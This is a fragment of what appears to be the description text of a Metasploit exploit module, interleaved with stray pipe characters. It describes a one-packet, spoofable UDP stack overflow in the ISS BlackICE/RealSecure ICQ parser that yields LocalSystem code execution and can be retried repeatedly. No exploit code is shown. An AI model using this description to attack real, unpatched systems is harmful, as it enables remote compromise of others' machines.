'Description' => %q{
|
||
|
|
This module exploits a stack overflow in the ISS products that use
|
||
|
|
the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation
|
||
|
|
will result in arbitrary code execution as LocalSystem. This exploit
|
||
|
|
only requires 1 UDP packet, which can be both spoofed and sent to a broadcast
|
||
|
|
address.
|
||
|
|
|
||
|
|
The ISS exception handler will recover the process after each overflow, giving
|
||
|
|
us the ability to bruteforce the service and exploit it multiple times.
